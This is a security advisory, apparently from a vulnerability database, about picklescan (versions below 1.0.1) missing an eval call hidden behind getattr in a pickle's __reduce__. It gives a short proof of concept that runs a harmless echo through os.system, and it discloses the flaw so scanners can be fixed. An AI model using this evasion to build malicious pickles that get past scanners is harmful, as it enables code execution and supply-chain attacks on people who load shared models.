GHSA-9m3x-qqw2-h32h

Опубликовано: 02 фев. 2026

Источник: github

Github: Прошло ревью

CVSS4: 8.9

Описание

picklescan missing detection by simple obfuscation of a builtins.eval call

Summary

An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source.

Details

It's possible to hide the eval call nested under another callable via getattr.

PoC

import builtins class EvilClass: @staticmethod def _obfuscated_eval(payload): getattr(builtins, "eval")(payload) def __reduce__(self): payload = "__import__('os').system('echo \"successful attack\"')" return self._obfuscated_eval, (payload,)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources.

What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.

Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.

Ссылки

Пакеты

Наименование

picklescan

pip

Затронутые версииВерсия исправления

< 1.0.1

1.0.1

8.9 High

CVSS4

Дефекты

CWE-502

8.9 High

CVSS4

Дефекты

CWE-502